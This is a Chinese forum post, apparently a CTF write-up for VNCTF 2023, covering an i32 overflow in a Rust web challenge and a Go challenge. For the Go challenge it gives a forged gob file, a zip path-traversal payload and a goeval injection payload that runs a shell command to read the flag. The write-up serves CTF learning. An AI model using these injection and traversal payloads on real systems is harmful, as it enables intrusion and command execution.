2023_VNCTF_WP

[复制链接]
发表于 2023-2-19 19:52:41 | 显示全部楼层 |阅读模式
概述

题目来源:buuctf平台举行的vnctf。这次VNCTF还是很好玩的,特别是BabyGo(我也只看了web和misc方式的题),刚好也是在最后的30分钟出了,要不然哭死。6点之前已经有思路要覆盖user.gob文件了,但是一直覆盖不到,后面再认认真真了好几遍才发现path理解错了。拿到这题源码时一直在发呆,一点激情都没有。发现自己打这种比赛永远抢不了一血,一是因为知识储配不过,题刷的不够多;二是因为拿到不熟悉的题就容易发呆。幸好今天还够幸运,解出了花费很长时间的题,要不然又是自闭的一天QAQ。因为能力当前就处于“这样”的阶段,所以做出的BabyGo我给了非常详细的解题过程。

Web

象棋王子

直接f12,然后发现特殊字符,ctrl+c -----------> 控制台 ----------->  ctrl+v 回车后得到flag
电子木鱼

参考这篇文章:https://course.rs/basic/base-type/numbers.html
题目源码:
  1. use actix_files::Files;
  2. use actix_web::{
  3.     error, get, post,
  4.     web::{self, Json},
  5.     App, Error, HttpResponse, HttpServer,
  6. };
  7. use once_cell::sync::Lazy;
  8. use serde::{Deserialize, Serialize};
  9. use std::sync::{Arc, Mutex};
  10. use tera::{Context, Tera};
  11. static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));
  12. #[derive(Debug, Clone, Default)]
  13. struct ThreadLocker<T> {
  14.     value: Arc<Mutex<T>>,
  15. }
  16. impl<T: Clone> ThreadLocker<T> {
  17.     fn get(&self) -> T {
  18.         let mutex = self.value.lock().unwrap();
  19.         mutex.clone()
  20.     }
  21.     fn set(&self, val: T) {
  22.         let mut mutex = self.value.lock().unwrap();
  23.         *mutex = val;
  24.     }
  25.     fn from(val: T) -> ThreadLocker<T> {
  26.         ThreadLocker::<T> {
  27.             value: Arc::new(Mutex::new(val)),
  28.         }
  29.     }
  30. }
  31. #[derive(Serialize)]
  32. struct APIResult {
  33.     success: bool,
  34.     message: &'static str,
  35. }
  36. #[derive(Deserialize)]
  37. struct Info {
  38.     name: String,
  39.     quantity: i32,
  40. }
  41. #[derive(Debug, Copy, Clone, Serialize)]
  42. struct Payload {
  43.     name: &'static str,
  44.     cost: i32,
  45. }
  46. const PAYLOADS: &[Payload] = &[
  47.     Payload {
  48.         name: "Cost",
  49.         cost: 10,
  50.     },
  51.     Payload {
  52.         name: "Loan",
  53.         cost: -1_000,
  54.     },
  55.     Payload {
  56.         name: "CCCCCost",
  57.         cost: 500,
  58.     },
  59.     Payload {
  60.         name: "Donate",
  61.         cost: 1,
  62.     },
  63.     Payload {
  64.         name: "Sleep",
  65.         cost: 0,
  66.     },
  67. ];
  68. #[get("/")]
  69. async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
  70.     let mut context = Context::new();
  71.     context.insert("gongde", &GONGDE.get());
  72.     if GONGDE.get() > 1_000_000_000 {
  73.         context.insert(
  74.             "flag",
  75.             &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
  76.         );
  77.     }
  78.     match tera.render("index.html", &context) {
  79.         Ok(body) => Ok(HttpResponse::Ok().body(body)),
  80.         Err(err) => Err(error::ErrorInternalServerError(err)),
  81.     }
  82. }
  83. #[get("/reset")]
  84. async fn reset() -> Json<APIResult> {
  85.     GONGDE.set(0);
  86.     web::Json(APIResult {
  87.         success: true,
  88.         message: "重开成功,继续挑战佛祖吧",
  89.     })
  90. }
  91. #[post("/upgrade")]
  92. async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
  93.     if GONGDE.get() < 0 {
  94.         return web::Json(APIResult {
  95.             success: false,
  96.             message: "功德都搞成负数了,佛祖对你很失望",
  97.         });
  98.     }
  99.     if body.quantity <= 0 {
  100.         return web::Json(APIResult {
  101.             success: false,
  102.             message: "佛祖面前都敢作弊,真不怕遭报应啊",
  103.         });
  104.     }
  105.     if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
  106.         let mut cost = payload.cost;
  107.         if payload.name == "Donate" || payload.name == "Cost" {
  108.             cost *= body.quantity;
  109.         }
  110.         if GONGDE.get() < cost as i32 {
  111.             return web::Json(APIResult {
  112.                 success: false,
  113.                 message: "功德不足",
  114.             });
  115.         }
  116.         if cost != 0 {
  117.             GONGDE.set(GONGDE.get() - cost as i32);
  118.         }
  119.         if payload.name == "Cost" {
  120.             return web::Json(APIResult {
  121.                 success: true,
  122.                 message: "小扣一手功德",
  123.             });
  124.         } else if payload.name == "CCCCCost" {
  125.             return web::Json(APIResult {
  126.                 success: true,
  127.                 message: "功德都快扣没了,怎么睡得着的",
  128.             });
  129.         } else if payload.name == "Loan" {
  130.             return web::Json(APIResult {
  131.                 success: true,
  132.                 message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
  133.             });
  134.         } else if payload.name == "Donate" {
  135.             return web::Json(APIResult {
  136.                 success: true,
  137.                 message: "好人有好报",
  138.             });
  139.         } else if payload.name == "Sleep" {
  140.             return web::Json(APIResult {
  141.                 success: true,
  142.                 message: "这是什么?床,睡一下",
  143.             });
  144.         }
  145.     }
  146.     web::Json(APIResult {
  147.         success: false,
  148.         message: "禁止开摆",
  149.     })
  150. }
  151. #[actix_web::main]
  152. async fn main() -> std::io::Result<()> {
  153.     let port = std::env::var("PORT")
  154.         .unwrap_or_else(|_| "2333".to_string())
  155.         .parse()
  156.         .expect("Invalid PORT");
  157.     println!("Listening on 0.0.0.0:{}", port);
  158.     HttpServer::new(move || {
  159.         let tera = match Tera::new("src/templates/**/*.html") {
  160.             Ok(t) => t,
  161.             Err(e) => {
  162.                 println!("Error: {}", e);
  163.                 ::std::process::exit(1);
  164.             }
  165.         };
  166.         App::new()
  167.             .app_data(web::Data::new(tera))
  168.             .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
  169.             .service(index)
  170.             .service(upgrade)
  171.             .service(reset)
  172.     })
  173.     .bind(("0.0.0.0", port))?
  174.     .run()
  175.     .await
  176. }
复制代码
审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算

 
 结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag

 BabyGo

题目源码:
  1. package main
  2. import (
  3.     "encoding/gob"
  4.     "fmt"
  5.     "github.com/PaulXu-cn/goeval"
  6.     "github.com/duke-git/lancet/cryptor"
  7.     "github.com/duke-git/lancet/fileutil"
  8.     "github.com/duke-git/lancet/random"
  9.     "github.com/gin-contrib/sessions"
  10.     "github.com/gin-contrib/sessions/cookie"
  11.     "github.com/gin-gonic/gin"
  12.     "net/http"
  13.     "os"
  14.     "path/filepath"
  15.     "strings"
  16. )
  17. type User struct {
  18.     Name  string
  19.     Path  string
  20.     Power string
  21. }
  22. func main() {
  23.     r := gin.Default()
  24.     store := cookie.NewStore(random.RandBytes(16))
  25.     r.Use(sessions.Sessions("session", store))
  26.     r.LoadHTMLGlob("template/*")
  27.     r.GET("/", func(c *gin.Context) {
  28.         userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
  29.         session := sessions.Default(c)
  30.         session.Set("shallow", userDir)
  31.         session.Save()
  32.         fileutil.CreateDir(userDir)
  33.         gobFile, _ := os.Create(userDir + "user.gob")
  34.         user := User{Name: "ctfer", Path: userDir, Power: "low"}
  35.         encoder := gob.NewEncoder(gobFile)
  36.         encoder.Encode(user)
  37.         if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
  38.             c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
  39.             return
  40.         }
  41.         c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
  42.     })
  43.     r.GET("/upload", func(c *gin.Context) {
  44.         c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
  45.     })
  46.     r.POST("/upload", func(c *gin.Context) {
  47.         session := sessions.Default(c)
  48.         if session.Get("shallow") == nil {
  49.             c.Redirect(http.StatusFound, "/")
  50.         }
  51.         userUploadDir := session.Get("shallow").(string) + "uploads/"
  52.         fileutil.CreateDir(userUploadDir)
  53.         file, err := c.FormFile("file")
  54.         if err != nil {
  55.             c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
  56.             return
  57.         }
  58.         ext := file.Filename[strings.LastIndex(file.Filename, "."):]
  59.         if ext == ".gob" || ext == ".go" {
  60.             c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
  61.             return
  62.         }
  63.         filename := userUploadDir + file.Filename
  64.         if fileutil.IsExist(filename) {
  65.             fileutil.RemoveFile(filename)
  66.         }
  67.         err = c.SaveUploadedFile(file, filename)
  68.         if err != nil {
  69.             c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
  70.             return
  71.         }
  72.         c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
  73.     })
  74.     r.GET("/unzip", func(c *gin.Context) {
  75.         session := sessions.Default(c)
  76.         if session.Get("shallow") == nil {
  77.             c.Redirect(http.StatusFound, "/")
  78.         }
  79.         userUploadDir := session.Get("shallow").(string) + "uploads/"
  80.         files, _ := fileutil.ListFileNames(userUploadDir)
  81.         destPath := filepath.Clean(userUploadDir + c.Query("path"))
  82.         for _, file := range files {
  83.             if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
  84.                 err := fileutil.UnZip(userUploadDir+file, destPath)
  85.                 if err != nil {
  86.                     c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
  87.                     return
  88.                 }
  89.                 fileutil.RemoveFile(userUploadDir + file)
  90.             }
  91.         }
  92.         c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
  93.     })
  94.     r.GET("/backdoor", func(c *gin.Context) {
  95.         session := sessions.Default(c)
  96.         if session.Get("shallow") == nil {
  97.             c.Redirect(http.StatusFound, "/")
  98.         }
  99.         userDir := session.Get("shallow").(string)
  100.         if fileutil.IsExist(userDir + "user.gob") {
  101.             file, _ := os.Open(userDir + "user.gob")
  102.             decoder := gob.NewDecoder(file)
  103.             var ctfer User
  104.             decoder.Decode(&ctfer)
  105.             if ctfer.Power == "admin" {
  106.                 eval, err := goeval.Eval("", "fmt.Println("Good")", c.DefaultQuery("pkg", "fmt"))
  107.                 if err != nil {
  108.                     fmt.Println(err)
  109.                 }
  110.                 c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
  111.                 return
  112.             } else {
  113.                 c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
  114.                 return
  115.             }
  116.         } else {
  117.             c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
  118.             return
  119.         }
  120.     })
  121.     r.Run(":80")
  122. }
复制代码
审计代码过程,在路径/upload下我们可以知道禁止上传了.gob和.go文件审计/unzip路径,我们可以知道这里把上传的.zip文件进行解压,关键点在下图所示这里存在一个参数path,用于设置解压.zip文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越相关资料链接:https://blog.csdn.net/weixin_45011728/article/details/96615369进行审计/backdoor路径,关键点如下图所示:这里打开一个user.go的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html
在这里还设置了一个参数pkg,调用了goeval.Eval()函数,不认识然后百度查阅资料学习,在该链接明白用处:https://learnku.com/articles/57884综上分析,大概解题思路是:上传一个zip文件,里面包含了user.gob,user.gob的内容要把ctfer.Power原来的值覆盖掉,改成admin才行。然后此时只是输出了Good,并没有得到flag,找到了下面文章:https://cn-sec.com/archives/1281015.html了解到go的函数逃逸,从而getshell获取flag。解题步骤如下:1. 在/upload中上传了包含user.gob的zip文件,user.gob文件内容如下:
  1. //user.go
  2. package main
  3. import (
  4.     "encoding/gob"
  5.     "fmt"
  6.     "os"
  7. )
  8. type User struct {
  9.         Name  string
  10.         Path  string
  11.         Power string
  12. }
  13. func main(){
  14.         userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/"  //自己docker起后的路径
  15.         user := User{Name: "ctfer", Path: userDir, Power: "admin"}
  16.         file, err := os.Create("./user.gob")
  17.         if err != nil {
  18.                 fmt.Println("文件创建失败", err.Error())
  19.         return
  20.         }
  21.         defer file.Close()
  22.         encoder := gob.NewEncoder(file)
  23.         err = encoder.Encode(user)
  24.         if err != nil {
  25.         fmt.Println("编码错误", err.Error())
  26.         return
  27.     } else {
  28.         fmt.Println("编码成功")
  29.     }
  30. }
复制代码
运行上面user.go文件得到user.gob文件2. 在/unzip路径下,使用payload如下:
  1. /unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/
复制代码
3. 访问/backdoor,返回Good则上述步骤成功
4. 在/backdoor下,使用下面payload:
  1. /backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
复制代码
payload的构造参考上述给的链接
5. 得到返回结果:

 6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}
Misc

验证码

把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/ 
 得到flag:flag{MISC_COOL!!}
 
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表